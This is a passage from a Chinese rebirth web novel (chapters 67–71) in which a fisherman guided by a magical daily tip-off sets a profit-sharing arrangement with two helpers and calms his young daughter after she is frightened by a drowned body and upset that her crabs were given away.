江涛接过厚厚一沓钱,抽出其中五十块递过去,“刘主任,辛苦您跑一趟,这油钱您拿着。” 刘主任笑着推了回来,“江涛同志,这就见外了。这油钱早就抵了,要不你自己把鱼送到县里,这价钱还不止两块一呢。咱们以后常来常往!” 江涛知道刘主任这是客气,也是真心想交好,便不再坚持。 只是从水缸里捞了几十只最大最肥的螃蟹,用草绳捆了,硬塞到刘主任车上。 “刘主任,这个您一定得拿着,拿回去自己蒸了吃,尝尝鲜。不值什么钱,是我一点心意。” 刘主任一看,嚯,这螃蟹个头真不小,比单位发的福利强多了。 “行,那谢谢江涛同志了!下次有好货,一定先想着我们招待所!” 江涛又给李支书也捆了一大串螃蟹,又捞了十几条肥鲫鱼。 李支书推辞不过,也笑呵呵地接了。 至于,其他帮忙抓人看流尸的村民,江涛也让铁牛喊他们过来,每人给了四条大鲫鱼。 就连老邹也得了四条大鱼,乐得他笑得合不拢嘴。 “还是涛子厚道!我就说我没看错人!” 幸亏之前跟江涛结了点善缘,提醒了他几句。 要不,哪有这好事? 说不定,还因跟那几个闲汉走得近,也跟宋二一样,被公安带走呢。 这一番下来,那一水缸的螃蟹也没剩多少了。 也就江盼娣被吓得不轻,一直睡着,要不然以她那性子,看见螃蟹少了这么多,怕是要心疼得跳脚。 第67章 利益分配 “散了散了,大家都散了吧!回去该干啥干啥,别在这儿聚着了。” “记住了,王癞头这事是意外,但也给大家伙提个醒,下江捞鱼,安全第一!别学那些不学好的,心术不正,还毛毛躁躁!” 李支书就着这事,站在江涛家门口,苦口婆心地对围观的村民讲了几句安全和团结的大道理,这才骑上自行车回家了。 其他村民也三五成群地议论着,各自散去。 铁牛和赵老头也准备回去。 江涛叫住他们,“铁牛,赵叔,你们也累了,先回去歇歇,晚上过来吃饭,咱们商量点事。” 两人点头,也各自回家去了。 院子里总算安静下来,只剩下一地的水渍和空气中淡淡的鱼腥味。 江涛长舒一口气,转身进屋。 林月柔和几个丫头都围在里屋床边,脸上是掩饰不住的焦急和担忧。 江盼娣躺在床上,额头上搭着湿毛巾,小脸依旧没什么血色,眉头紧蹙,嘴里不时发出含糊不清的梦呓。 “鬼……流尸……别看我……别过来……” 林月柔眼圈微红地坐在床边,紧紧握着女儿的手。 江招娣和几个妹妹也守在旁边,大气不敢出,小脸上满是心疼和害怕。 见江涛进来,林月柔急忙起身,像找到了主心骨。 “江涛,你看盼娣,一直这样,叫也叫不醒,怎么办啊?要不要去请卫生所的赤脚医生来看看?” 江涛走到床边,摸了摸江盼娣的额头。 有些烫,估计是惊吓过度,又跑得太急,有些发热。 他轻轻叹了口气。 盼娣这丫头,平时是馋嘴、娇气了些,可毕竟是自己的女儿,看到她被吓成这样,他心里也揪得难受。 说到底,还是他这个当爹的没能给孩子们一个绝对安全、无忧无虑的环境。 “那该死的王癞头!” 向来温婉的林月柔,此刻也忍不住低声咒骂了一句,“要死也不死远点,偏偏让盼娣撞见!看把孩子吓的!” “妈,别说了。” 江招娣小声劝道,虽然她也心疼妹妹,可这话听着总觉得心里不踏实。 人都已经没了,再咒骂怕犯了忌讳。 要是让旁人听见了,难免会说自家刻薄。 “月柔,别急,盼娣这是吓着了,有点发热。我去村卫生所问问,有没有安神退热的药。招娣,你看着妹妹,用温水给她擦擦脸和手。”江涛安抚道。 “嗯,爸,你快去快回。”江招娣连忙应下。 江涛转身出了门,骑上自行车,飞快地赶往村卫生所。 赤脚医生听了情况,给开了点安神的草药和几片退烧药,叮嘱要静养,避免再受惊吓。 等江涛拿着药回来,给盼娣喂下,又守了一会儿。 盼娣的呼吸渐渐平稳下来,眉头舒展了些,似乎睡沉了。 “没事了,让她好好睡一觉,出出汗就好了。”江涛轻轻对林月柔说。 林月柔这才松了口气,但看着女儿苍白的小脸,眼泪还是忍不住掉了下来。 “你说,盼娣要是有个三长两短,我可怎么办……” “不会的,月柔,不会的。” 江涛将她搂进怀里,轻轻拍着她的背,“是我不好,以后会注意,尽量不让孩子们遇到这些腌臜事。等咱们新房盖起来,把院墙垒得高高的,让盼娣她们在家里能玩得安心。” “嗯。” 林月柔靠在他怀里,点了点头,心里的不安稍稍缓解。 看着炕上熟睡的女儿,再看看外面渐渐暗下来的天色。 江涛知道,这个家,还需要他更努力,才能为她们撑起一片更安稳、更晴朗的天空。 晚上,得和铁牛、赵老头商量后续一起干活的章程,包括简单的利益分配。 不能只给点东西或含糊地许诺,得有个能让大家都踏实、有奔头的说法。 如此,这打渔小团队才能走得长远,他们家的收入才会越来越稳定丰厚。 想到这,江涛掏出两千块钱递给林月柔。 “月柔,这是昨天卖螃蟹和今天卖鲫鱼的钱,你收好,放橱柜里锁上。” 林月柔接过沉甸甸的钞票,手还是有些发颤。 加上之前的六千,这就是八千块! 这才几天功夫,家里就有了以前想都不敢想的巨款! 但看着病中的女儿,这喜悦也打了折扣。 她小心地将钱用布包好,放进橱柜最里层锁好,钥匙贴身收着。 当然,那用来交三两五钱的一百二十块是另外单独放着的。 家里虽然有钱了,但对外该有的困难样子还得维持,以免惹人眼红。 给了林月柔两千块,江涛身上还剩九百三十块五毛,用作日常开销和后续活动的启动资金。 眼看天色不早,他让林月柔先照顾孩子,自己挽起袖子进了灶间,开始准备晚饭。 江招娣跑来帮忙。 两人手脚麻利,将剩下的螃蟹清蒸了。 接着,又炒了盘青菜,还有蒜苗炒鸡蛋,再把地笼收获的江虾、泥鳅、穿条鱼和几条猪舌头鱼收拾了。 江涛看了看,觉得还差点什么。 “招娣,你看着火。我去小卖部买几块豆腐。” “哎。” 江涛到老邹那儿买豆腐。 因为得了江涛的四条大鲫鱼,老邹态度非常热情,还不想收钱。 “涛子,几块豆腐值个啥,拿去吃就是了!” “邹叔,一码归一码,豆腐钱得给。”江涛还是给了他五毛钱。 老邹推辞不过,只好收下,但硬是多塞了几块豆腐给他。 “拿着拿着,多了就多炖点,给孩子们吃!” 江涛道了谢,回去将杂鱼和豆腐一起炖了,很快,一锅热气腾腾、香气四溢的杂鱼炖豆腐就做好了。 饭菜刚摆上桌,铁牛和赵老头就一前一后来了。 铁牛还特意换了身干净衣服,赵老头也梳了梳头发,两人神情都有些郑重,知道涛子晚上要商量正事。 “赵叔,铁牛,快坐,咱们边吃边说。” 大圆桌上,只有江涛、铁牛和赵老头。 林月柔和几个丫头都在八仙桌那边,江盼娣自然还在昏睡。 “涛子,有什么事你直说,你叫东我们绝不往西。” 赵老头率先表态,他打定主意跟着江涛干了。 铁牛也用力点头,“涛子,我听你的。你让我干啥,我就干啥。” 江涛听了心里很暖,这两位是真心实意想跟着他。 可涉及利益之事,实在不能只靠感情和口头承诺。 上辈子,他跟着葛亚慧干点小买卖,那是见识到了人性的复杂和贪婪,而自己最终更是被那个野种拔了氧气管。 这辈子,他不能再犯糊涂。 他需要帮手,也需要建立规矩,把合作关系稳固下来,对大家都好,也能走得更长远。 “赵叔,铁牛,你们能信我,我心里有数。” 江涛给他们各倒了一碗黄酒,神色认真起来,“既然要一起干,有些话就得摆在明面上说清楚,免得日后生出误会,伤了咱们的和气。” 赵老头和铁牛都坐直了身体。 第68章 有什么好怕的 “以后打渔,地方时机我来拿主意。” 江涛目光扫过两人。 这点必须明确,毕竟他拥有决定性的信息优势。 如此,也是为了保证团队的效率。 “铁牛,你力气大,肯吃苦,主要跟着出力气,下水、撒网、收网、搬运,这些重活累活,你得顶起来。” “赵叔,您经验丰富,能帮着看顾些杂事,比如借借工具,维持和村里一些熟人的关系。以后有了船,您还能帮着看船、修修补补。” “如此,咱们也算是各有分工。” 对于江涛的这个安排,两人都点头表示认同。 要不,怎么叫他们跟着江涛干呢? 不就是认可了江涛的主导地位和能力吗? 这没什么可说的。 “至于赚了钱怎么分,” 江涛顿了顿,这是最关键,也最容易产生矛盾的地方,必须事先说清楚。 “我有个想法,你们听听看行不行。” 赵老头和铁牛立刻屏住了呼吸。 “以后打渔,不管捞到什么,卖了钱,刨去必要的开销,比如加油、租车、打点关系的小钱,剩下的净利,我拿八成。” “铁牛,你拿一成。赵叔,您也拿一成。这一成,是给你们的辛苦钱,也是咱们一起干的情分。你们看怎么样?” 这个分成比例,江涛是考虑过的。 他拿八成,合情合理。 毕竟,出主意、找门路、提供渔船都在他这里。 作为第一股东,承担成本和相应的投资风险,这本身无可厚非。 自然也要拿到相对应的利益,更何况,最关键的情报信息是他独有的依仗。 给铁牛和赵老头各一成,既是实打实的辛苦费,也是一种绑定和激励。 一成听起来不多。 但以今天五百多斤鲫鱼卖一千多块为例,每人就能分一百多块! 这可比他们自己单干或者打零工强太多了。 而且,随着收获增多,这一成也会很可观。 更重要的是,这给了他们一个稳定有盼头的收入来源,能让他们安心跟着干。 赵老头和铁牛听完,都愣住了。 他们没想到江涛会主动提出分钱,而且给的还不少! 尤其是铁牛,他之前觉得跟着涛子,能给口饭吃,偶尔得个十块八块的辛苦费就很满足了。 现在居然要给一成? 今天卖了五百多斤鱼,一千多块,一成就是一百多块! 这、这太多了! 他以前一年也未必能攒下这么多! “涛子,这、这太多了!” 铁牛激动得脸通红,连连摆手,“我、我就是出点力气,跟着你干,管饭我就很知足了,哪能拿这么多钱?不行不行,太多了!给我十块我都觉得多了!” 赵老头心里也在快速盘算。 一成,一百多块。 涛子这孩子是真大方,也懂规矩。 要是自己不加入,涛子照样能捞鱼挣钱,顶多少个搭把手的。 而自己要是单干,那就是三天打鱼两天晒网,能捞多少全看老天爷,哪能有这么稳定的收入? 这一成,是情分,也是涛子会做人,把他这个老家伙也当回事。 他满意得很。 “涛子,你给铁牛一成,我没意见,这孩子实诚,肯下力,该拿。” 赵老头先表态,然后转向铁牛,“铁牛,你也别推了。涛子这是把咱们当自己人,是定规矩,让咱们都安心。你拿着,以后好好干,多出力!” “可是,赵叔,这也太多了……”铁牛还是觉得烫手。 “你要是不拿,这规矩就定不下来,以后怎么算账?难道每次都让涛子为难,临时给?” 赵老头非常满意这个方案,但铁牛推辞,这个方案也就没法推行了。 “铁牛,赵叔说得对。” 江涛拍了拍铁牛的肩膀,“既然是规矩,咱们就得遵守。你出力,赵叔帮着张罗,咱们各有各的用处。” “这一成是你应得的。你要是觉得过意不去,以后就多上心,多出力,咱们一起把这份事业干大,到时候分得更多,那才是本事!” “对,涛子这话在理!” 赵老头附和道,“铁牛,拿着!以后咱们跟着涛子,好好干!” 铁牛看着江涛真诚的眼神,又看看赵老头鼓励的目光,心里热流涌动,鼻头一酸,用力点了点头。 以前他就是拼死了干活也拿不到这么多钱啊! “嗯!涛子,赵叔,我听你们的!以后我一定拼命干!” “行,那咱们就一起干一杯!以后有钱一起赚,有难一起当!”江涛举起酒碗。 “干!” “干!” 三人碰碗,一饮而尽。 规矩定了,心也就定了。 吃完饭,江招娣和老三江来娣带着几个稍大的丫头手脚麻利地收拾碗筷。 今天事情一桩接一桩,还闹出人命,最后还把江盼娣给吓着了。 铁牛和赵老头便在这多坐了一会儿,没急着走,似乎想用这种方式帮着分担点。 林月柔将煤油灯挑得亮亮的,坐在八仙桌旁,一针一线地缝制着新衣裳。 江涛前天从供销社买的那些鲜亮布料,这两天她已经量了几个丫头的尺寸,裁剪好了。 现在盼娣吓着了,她想抓紧给缝制出来。 要是明天盼娣能醒,能穿上新衣服,心情或许能好点。 江涛见了,也没劝她早些休息。 他知道,月柔这是心疼女儿,也是在用这种方式排解心中的焦虑和心疼。 看着妻子专注的侧脸,又望向里屋炕上昏睡的女儿,他心里也揪得难受。 不过,孩子还小,这次惊吓要是能熬过去,应该不会留下太大的阴影。 收拾完碗筷,江招娣见妈妈还在灯下做针线,爸爸和赵爷爷、铁牛叔在大圆桌那低声说话,便悄悄拉着老三江来娣,走到灶间。 “三妹,你说老二要是闻到螃蟹味,会不会醒?”江招娣小声问。 “肯定能!二姐可馋螃蟹了!”江来娣用力点头。 江招娣从锅里挑了一只蟹黄最饱满的,小心掰下一只最肥的蟹腿,又挖了一小勺金黄油亮的蟹膏,放在一个小碗里。 两人轻手轻脚地走进里屋,来到床边。 江盼娣依旧昏睡着,眉头微微蹙着,小脸在昏暗的油灯光下显得没什么血色。 “二妹,你看,螃蟹腿,可香了!” 江招娣将装着蟹腿和蟹膏的碗轻轻凑到江盼娣鼻子下面,晃了晃。 “嗯……” 江盼娣似乎闻到了香味,小巧的鼻翼轻轻翕动了一下,喉咙里发出一点含糊的声音,但眼皮依旧沉重地阖着,没有醒来。 “二姐,快醒醒,是螃蟹,大螃蟹!你再不醒,可都被我们吃光了!” 江来娣也在旁边小声呼唤,语气里带着诱哄。 可是,江盼娣只是又动了动嘴唇,嘟囔了一句谁也听不清的呓语,便又沉沉地睡了过去,对近在咫尺的美味诱惑毫无反应。 江招娣看着二妹苍白的睡颜,又看看手里散发着诱人鲜香的螃蟹腿,心里一阵发堵,鼻子也有些发酸。 她默默地把碗放到一边的凳子上,轻轻叹了口气。 连最爱吃的螃蟹都叫不醒了,老二这次是真的吓狠了。 都怪自己,要是当时自己走在后面,或者发现二妹停下时立刻跟过去。 说不定,就不会让她看见那可怕的东西了。 唉! 江招娣心里充满了自责。 “大姐,” 江来娣拉了拉江招娣的衣角,小脸上满是困惑和不解。 “那流尸……真有那么可怕吗?不就是一个死人漂在水里吗?以前村里老人讲故事,不也有水鬼什么的,都是假的呀。二姐胆子平时不是挺大的吗?怎么就被吓成这样了?” 江招娣看着懵懂的三妹,一时不知该怎么解释。 她想了想,回忆起白天在江边看到王癞头尸体的样子,确实有些吓人,但似乎也没那么可怕。 她皱了皱小眉头,用自己朴素的是非观分析道:“其实,也没什么可怕的。那王癞头,以前就不是好人,还拦过我的路,想欺负我。现在他死了,那是他活该,是报应。一个坏人的尸体,有什么好怕的?说不定,是江里的龙王看他不顺眼,把他收走了呢。” “对哦!” 江来娣觉得大姐说得有道理,“那二姐肯定是自己吓自己,想太多了。” “嗯,等你二姐醒了,好好跟她说,开导开导她。” 江招娣心里不无担忧。 三妹胆子向来大,心思也简单。 可二妹平时看着咋咋呼呼,其实心思更敏感些,这次怕是钻了牛角尖。 第69章 你就惯她吧! 夜深了,铁牛和赵老头起身准备告辞。 临走前,江涛拿出钱,想把卖螃蟹和鲫鱼的钱,按说好的一成分给他们。 两人却都坚决推辞。 “涛子,这钱我们不能要。” 赵老头正色道,“规矩是今晚才定的。螃蟹和鱼,那是昨天和上午捞的,那会儿咱们还没说好怎么分。” “再说今天情况特殊,还出了事,我们也就是搭把手。这钱,就算我们帮忙,也算你考察我们是不是那块料。从明天开始,咱们再按新规矩来!” 铁牛也憨厚地点头,“对,涛子,从明天开始算。今天我们没出什么大力,就是跑跑腿,哪能拿那么多钱。” 江涛看他们态度坚决,知道这是他们的心意,也不再勉强。 “行,那这钱我就先收着。不过今天你们出力,我记着。以后咱们的日子还长着呢!” 送走铁牛和赵老头,屋里彻底安静下来。 林月柔还在灯下缝着衣裳。 江涛走过去,“月柔,别缝了,太晚了伤眼睛。明天再弄也一样,盼娣的衣服不急在这一时。” 林月柔抬起头,眼圈有些红,但眼神却透着几分坚韧。 “我睡不着,一闭上眼睛就想起盼娣吓坏的样子。做点事,心里反而踏实点。快了,就剩几针了,缝完就睡。” 江涛知道劝不动,只好由着她。 洗漱完,他挨着熟睡的盼娣,摸了摸她的额头,心里稍稍安定。 还好已经不烫了。 转头看向还在灯下忙碌的妻子,心里涌起一阵暖流,也生出几分责任感。 明天,新的情报又会来,又将是忙碌的一天。 他得打起精神,好好干。 眼下家里条件好了,得尽快把新房建起来,让月柔和丫头们住得舒坦些,风吹不着,雨打不着。 几个丫头也该送到学校去读书识字,尤其是招娣,这孩子聪明懂事,可不能耽误了。 至于盼娣,希望她能快点好起来。 等新房建好,有了宽敞的院子,让她和小伙伴们尽情玩耍,慢慢忘掉今天的惊吓。 想着这些,江涛渐渐沉入了梦乡。 次日清晨,一声哭叫将江涛从睡梦中惊醒。 他一个激灵坐起身,林月柔已不在身边,哭声是从院子里传来的。 他立刻披衣下床,冲到院子里。 只见江盼娣坐在院子角落,对着那个只剩零星几只螃蟹的大水缸,哭得撕心裂肺,小脸憋得通红,眼泪鼻涕糊了一脸。 “我的螃蟹!我的一水缸螃蟹!呜呜呜……怎么都没了!你们把我的螃蟹都弄哪去了!那是我留着要吃的!哇——!” 林月柔站在旁边,手里拿着一件刚做好的月白色小褂,试图安抚她。 “盼娣,不哭不哭,你看,新衣服,妈妈给你穿上,好不好?” “我不要新衣服!我就要螃蟹!你把我的螃蟹还给我!” 江盼娣看都不看,一把推开新衣服,继续蹬着腿嚎啕大哭,那架势仿佛天塌了。 江招娣和江来娣听见动静,也一骨碌从床上爬起身,跑了出来。 江招娣端着昨晚特意留的螃蟹,“二妹,你看,螃蟹大姐给你留着呢,可香了,你快尝尝。” “就这点?” 江盼娣瞥了一眼,哭得更凶了,“我有一水缸的!满满一水缸!现在就这么点了!你们把我的螃蟹都吃了!呜呜……你们偷吃我的螃蟹!” 江来娣急了,跑回屋把自己那套还没上身的新衣服拿了出来。 “二姐,我的新衣服给你穿,你别哭了,我们没偷吃你的,是爸爸拿去送人了……” “我不要!我就要我的螃蟹!” 此刻,江盼娣什么都听不进去,只觉得属于自己的巨大宝藏一夜之间消失殆尽,委屈、愤怒、不舍的情绪将她淹没。 林月柔被她这不依不饶、油盐不进的样子气得脸色发白,胸口起伏。 “你这孩子,怎么这么不懂事!那些螃蟹是你一个人的吗?那是你爸捞回来的!他拿去送人,是办正事,是还人情!你哭什么哭?再哭,再哭连这点都不给你留!” 她越说越气,觉得这孩子被惯得有些无法无天了。 以前家里穷,没这条件。 现在家里稍微宽裕点,这孩子怎么就变得这么贪心霸道? 江涛站在一旁,看着哭闹不休的二女儿,又看看气得够呛的妻子,心里倒没觉得有多恼火。 小孩子嘛,看到心爱的东西没了,哭闹是正常的。 尤其,盼娣昨天受了惊吓,现在这哭闹,说不定也是一种情绪发泄。 听到林月柔的训斥,他走上前,轻轻拍了拍林月柔的肩膀,示意她别动气。 然后,蹲在江盼娣面前,轻轻地给她擦眼泪鼻涕。 “盼娣,不哭了。螃蟹是爸爸送人了,但爸爸保证,以后还会给你捞更多更大的螃蟹,好不好?你看,大姐和三妹都把她们最喜欢的新衣服让给你了,她们多疼你啊。” “不好!我就要原来的!原来那些是我的!” 江盼娣抽噎着,但哭声明显小了些,眼睛一直盯着那空了大半的水缸。 林月柔见江涛这态度,更是气不打一处来,低声埋怨道:“你就惯她吧!这么任性,以后还得了?惯子如杀子,你懂不懂?” “惯子如杀子……” 听到这几个字,江涛心里猛地一刺,脑海中瞬间闪过上辈子葛亚慧带来的那个野种。 那孩子,可不就是被葛亚慧和他宠得无法无天,最后竟然拔了他氧气管! 但随即,他又摇了摇头。 不会的,盼娣是他的亲生女儿。 虽然有些小脾气,但品性是好的。 她只是被吓着了,加上心爱的东西没了,一时想不开。 她跟葛亚慧带来的那个天生自私冷血的野种,是完全不同的。 自己的种,自己清楚。 只是该立的规矩,该讲清楚的道理,也得让她慢慢明白。 “好了,盼娣,” 江涛看着眼前哭得眼睛红肿的二女儿。 虽然任性,但眼神里还带着孩童特有的纯真。 他没有一味纵容,“螃蟹已经送人了,拿不回来了。但爸爸答应你,下次捞到螃蟹,最大的都先留给你,行不行?” “你要是再哭,爸爸下次捞到好玩的、好吃的,可就不给你留了。” “你想想,是大哭一场,以后什么都没有好,还是听爸爸的,以后都有好东西等着你?” 江盼娣抽抽搭搭地看着爸爸,又转头看看旁边一脸担忧的大姐和三妹,还有妈妈那张虽然生气却依旧写满关切的脸。 心里的委屈和不满,像被戳破了一个小口子,慢慢泄了出来。 爸爸说的是真的。 螃蟹是真的没了。 但爸爸也答应了,以后还会给她捞。 而且,爸爸的眼神不像以前那样不耐烦,也没有凶意,而是很认真在跟她商量的样子。 “……那……那下次捞到的,都要先给我挑……” 她带着浓重的鼻音,小声地讨价还价。 “行,最大的让你先挑。” 江涛笑了,刮了下她的小鼻子。 “还要大姐和三妹的新衣服……”江盼娣得寸进尺,眼睛瞟向旁边的新衣服。 “那不行!” 林月柔立刻反对,“那是她们的新衣服,一人一套,说好了的。你的在这儿呢!” 她拿起那件月白色的小褂。 江盼娣撇撇嘴,也没再坚持,大概是觉得螃蟹的优先挑选权更重要。 她接过妈妈递来的新衣服,摸了摸光滑的布料,心里的天平终于慢慢平衡了。 在林月柔的帮助下穿上新衣服,虽然眼睛还红着,但已经开始臭美地转圈儿,脸上终于有了点笑模样。 江涛心里也松了口气。 惯孩子固然不好,但也要分情况。 在合理的范围内满足孩子,给予正确的引导,才是关键。 他相信,盼娣本质是好的,会慢慢懂事的。 第70章 服服帖帖 一家人和和美美地吃完了早饭。 江盼娣眼睛还有些红肿,精神头却明显好了许多。 穿着崭新的月白小褂,在院子里跑来跑去,臭美得不行。 正热闹着,铁牛和赵老头一前一后进了院子。 看见江盼娣活蹦乱跳的样子,两人明显都松了口气。 “哎哟,盼娣起来了?看着气色挺好,没事了就好!”赵老头笑呵呵道。 “盼娣,你昨天可把我们吓坏了,没事就好,没事就好!”铁牛也憨厚地笑着。 江盼娣一听,小胸膛立刻挺了起来,下巴抬得老高。 “哼,我才不怕呢!我就是昨天没看清,以为是鱼,结果看错了……我现在一点都不怕了!” 她可不能让铁牛叔和赵爷爷觉得她是个胆小鬼。 那多没面子。 江招娣和江来娣在一旁听着,不约而同地撇了撇嘴。 江招娣小声嘀咕,“也不知谁昨天被吓得魂都没了,回家就发烧,还一直说胡话……” 江来娣也捂着嘴偷笑,“就是,要不是说把最大的螃蟹都给她,还不依呢。这下可好了,尾巴翘上天了。” 她俩的悄悄话被江盼娣听见了,立刻像只被踩了尾巴的小猫,瞪圆了眼睛看过来。 “大姐,三妹,你们说我坏话!” “没有,我们说你昨天可勇敢了,都敢一个人看水里的东西。” 江招娣赶紧一本正经地解释,心里却想,这二妹,好了伤疤忘了疼,又开始逞能了。 这时,老四、老五、老六、老七这几个小一点的丫头,也围了过来。 昨天她们就懵懵懂懂地听到流尸之类的词,又见二姐被吓得那么厉害,心里又是好奇又是害怕,想问又不敢问爸爸妈妈。 这会儿见二姐好了,还这么厉害的样子,就忍不住了,怯生生地拉着江盼娣的衣角。 “二姐,流尸是什么呀?是不是很吓人?”老四仰着小脸问。 “二姐,你昨天看见流尸了吗?它长什么样?会动吗?”老五也一脸好奇。 “二姐,二姐,什么叫流尸啊?”老六和老七也眼巴巴地望着她。 江盼娣一看,自己竟成了焦点,顿时虚荣心得到了极大满足。 她清了清嗓子,摆出一副过来人的架势,神秘兮兮地压低声音。 “我跟你们说哦,那流尸啊,可吓人了!它就漂在水里,脸白白的,眼睛瞪得老大,还会动呢!不过,” 她话锋一转,拍了拍小胸脯,“我一点都不怕!我可是看清楚了,那是坏人变的,专门吓唬坏人的!咱们是好人,不用怕!而且,我有爸爸,还有铁牛叔和赵爷爷保护我呢!” 她越说越来劲,手舞足蹈地描述起来,把自己描绘成一个勇敢无畏、洞悉真相的小英雄。 几个小丫头听得一愣一愣的,看向二姐的眼神都带上了几分崇拜。 就连还不太懂事,被林月柔抱在怀里的老八,也眨巴着大眼睛看着手舞足蹈的江盼娣。 “二姐好厉害!” 江涛在一旁看着,又好气又好笑。 这孩子,好了伤疤忘了疼,还吹嘘上了。 不过,看她能这么快从惊吓中走出来,甚至用这种方式战胜恐惧,他心里也感到欣慰。 孩子嘛,能用这种方式自我调节,倒也不是坏事。 只要别真去以身犯险就行。 “行了,盼娣,别在那胡吹了。赶紧过来,爸爸有话跟你说。”江涛招手。 江盼娣立迈着小碎步跑到爸爸跟前,眨巴着大眼睛,等着爸爸说话。 江涛看着二女儿,目光温和但带着一丝郑重。 他蹲下身,让自己的视线与江盼娣保持平齐。 “盼娣,爸爸知道你昨天受了很大的惊吓,能这么快好起来,爸爸很高兴。你给妹妹们讲的道理,听起来也很有勇气。” 江盼娣被爸爸夸奖,心里美滋滋的,嘴角忍不住向上翘了翘。 “但是,盼娣,” 江涛话锋一转,语气变得认真起来,“爸爸要跟你讲清楚几件事,你一定要记住。” “第一,在江边,安全是第一位的。以后无论看到什么稀奇古怪的东西,或者觉得水里有什么不对劲,不准自己一个人凑过去看,更不准用棍子去拨弄。必须立刻马上告诉爸爸,或者告诉你大姐、铁牛叔、赵爷爷,告诉我们这些大人。记住了吗?” “哦……记住了。” 江盼娣点了点头,虽然觉得爸爸有点小题大做,但看爸爸严肃的样子,还是答应了下来。 “第二,昨天的事,是坏人自己做了坏事,老天爷给他的惩罚。跟你,跟我们全家,都没有关系。你不用怕,但也要离那些危险的地方远一点。知道了吗?” “知道了。” “第三,爸爸昨天把螃蟹送人,是为了感谢那些帮了咱们忙的人,比如刘主任、李支书,还有帮忙的叔叔伯伯。做人要懂得感恩,不能只想着自己。” “这次螃蟹没了,爸爸以后给你补上。但你要明白,家里的东西,是大家一起努力得来的,爸爸有权安排怎么用,妈妈和大姐、妹妹们也都可以享用。不能因为是你喜欢的,就认为全是你的,别人碰都不能碰。这个道理,你懂不懂?” 江盼娣被爸爸说得有点不好意思,低下头,小声说道:“懂了……我以后不那样了。” “这才是爸爸的好闺女。” 江涛笑着摸了摸她的头,“爸爸知道你是个懂事的好孩子,有时候就是嘴馋,有点小脾气。以后想吃螃蟹,就跟爸爸说,爸爸捞得到,就给你捞。但也要学会分享,知道吗?” “嗯,知道了。” 江盼娣用力点头,抬起头看着江涛,眼睛亮亮的,“那爸爸,你什么时候再去捞螃蟹?” “看情况,等爸爸知道哪里有,就带你去。” 江涛站起身,转向林月柔,“月柔,你看盼娣也认错了,今天让她好好玩,就别拘着她了。” 林月柔见女儿被江涛说得服服帖帖,道理也听进去了,心里的气也消了大半,点了点头。 “行,盼娣,去跟妹妹们玩吧,注意安全,别出院子。” “好!” 江盼娣如蒙大赦,立刻跑向几个妹妹,重新当起了孩子王。 不过,这次没再吹嘘流尸的事,而是兴致勃勃地开始炫耀起自己的新衣服来。 看着院子里重新嬉闹起来的女儿们,江涛心里踏实了些。 他转身回到堂屋,铁牛和赵老头正坐在大圆桌等他安排。 “涛子,今天咱们啥安排?还去江边不?” 赵老头有些期待地问。 昨天刚定了规矩,今天正干劲十足,摩拳擦掌想大干一场。 铁牛也眼巴巴地看着江涛,憨厚的脸上写着“随时可以干活”。 江涛下意识抬腕看了看手表,指针已经指向七点一刻。 今日的情报,还没来。 往常这个时候,提示音早就该在脑海中响起了。 是今天外挂迟到了,还是说……会有什么不同? 这念头只是一闪而过,江涛便将其压下。 情报是他改变生活的最大依仗,但也不能全指望它。 没有情报的日子,难道就不干活了? 那肯定不行。 他已经不是从前那个坐等天上掉馅饼的江涛了。 “铁牛,赵叔,你们先坐会儿,喝口水。招娣,给你赵爷爷和铁牛叔倒水。” “哎!” 江招娣应了一声,麻利地去拿水壶和搪瓷缸。 江涛坐在主位,心里盘算着。 家里现在有八千多块的积蓄,距离万元户只差临门一脚了。 接下来,得开始为建新房和买渔船做更具体的准备了。 新房是给月柔和孩子们的一个安稳的窝。 这属于稳定后方。 而渔船则是他未来事业的根基。 有了船,才能去更远的水域,捞更多更值钱的货,也才能真正把铁牛和赵老头这支小队伍带起来,把收入稳定下来。 他正琢磨着,今天是联系一下颜伯伯问问买船的事,还是先去问问建房的砖瓦木料价格。 脑海中,那熟悉的提示音终于姗姗来迟。 第71章 开门红 【每日情报:今日午时,老拗口附近回水湾有大群野生鲤鱼聚集,可用撒网围捕。】 大群野生鲤鱼? 江涛心中一振。 说起来,鲤鱼也不错。 虽然江海平原的人不太爱吃鲤鱼,嫌土腥味重,但鲤鱼的价格跟鲢鱼鳙鱼差不了多少。 而江南那边很喜欢鲤鱼,认为寓意吉祥,做成熏鱼和糖醋鲤鱼都是一绝,价格也要高上许多。 不过,这鱼卖给县里的高主任或刘主任,相信价格也不会低。 只是这大群到底有多少? 会不会也有几百斤? 如此,那离万元户的目标就更近一步了。 这么想着,他当即将去老拗口打渔的计划说了出来。 “涛子,你说老拗口?” 赵老头脸上露出犹豫和忌惮,“昨天王癞头可就是在那儿出的事。这刚飘过流尸,咱们就去那捞鱼,是不是有点犯忌讳?” “赵叔,我们中午再去,阳气重,没事的。” 江涛劝慰,“再说,王癞头的流尸又不是在老拗口发现的,那不是在下游才发现的吗?江水流过多少地方,难道以后咱们就都不下水了?” “可我这心里总觉得膈得慌。” 赵老头还是有些发怵,老一辈人对这种事情特别在意。 “赵叔,王癞头是王癞头,咱们是咱们。” 铁牛憨憨笑道,“他是个坏人,老天爷收他,跟咱们打渔有啥关系?咱们行得正坐得直,怕啥?” “赵叔,铁牛说得对。” 江涛接过话头,“王癞头出事,是他自己作恶,命里有这一劫。咱们正经打渔,凭本事吃饭,不偷不抢,心里坦荡,用不着忌讳。” “再说,那地方鱼多,错过可惜了。你要是实在心里膈应,就在岸上帮我们看东西,我跟铁牛下水。” 赵老头被两人这么一说,觉得也有些道理,但心里那点疙瘩还在。 可想想昨天定下的规矩,又想想那一成的收入,最终咬了咬牙。 “行!既然你们都不怕,我这把老骨头怕什么!去就去!我也下水!” “爸爸,我也要去!”江招娣也想去帮忙。 “招娣,你就别去了,在家帮你妈照看妹妹们。盼娣刚好,需要人看着。” 江涛这次没同意。 昨天盼娣刚出事,他不想让大女儿再去可能有心理阴影的地方。 “哦……” 江招娣有些失望,但还是听话地点了点头。 林月柔手脚利落,很快做好了早午饭。 吃了早午饭,眼看就要午时。 江涛、铁牛、赵老头三人收拾好渔具,推着自行车出门。 刚走到村口,迎面碰见几个村民下地回来。 “涛子,又去打渔啊?” “是啊,去江边碰碰运气。” 江涛笑着应道。 最近他靠打鱼挣了钱,村里早不拿他当混子看了,平时见了都会主动打招呼。 可有个叫刘快嘴的婆娘,平时就爱东家长西家短,加上没得过江涛什么好处,又跟宋二沾亲带故,心里本就酸溜溜的。 见江涛几人过来,她故意抬高嗓门,阴阳怪气道: 